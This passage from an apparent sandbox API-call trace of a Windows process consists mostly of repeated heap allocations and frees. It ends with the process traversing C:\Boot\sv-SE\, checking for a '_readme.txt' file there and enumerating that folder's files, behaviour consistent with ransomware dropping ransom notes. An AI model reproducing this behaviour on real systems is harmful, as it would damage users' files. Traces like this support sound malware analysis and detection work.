hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.576] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.576] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.577] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.577] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.578] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.578] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.579] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.579] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.580] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.580] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.581] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.581] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.582] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.582] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.583] PathFindFileNameW (pszPath="C:\\Boot\\sv-SE\\") returned="sv-SE\\" [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.583] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.583] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.583] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.583] PathFindFileNameW (pszPath="") returned="" [0122.583] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.583] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.584] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.584] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.584] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x81c) returned 0x30667b8 [0122.584] PathAppendW (in: pszPath="C:\\Boot\\sv-SE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.584] PathFileExistsW (pszPath="C:\\Boot\\sv-SE\\_readme.txt") returned 1 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.584] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.584] FindFirstFileW (in: lpFileName="C:\\Boot\\sv-SE\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.584] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018770 | out: hHeap=0x5b0000) returned 1 [0122.584] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13c94a50, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13c94a50, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.585] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, 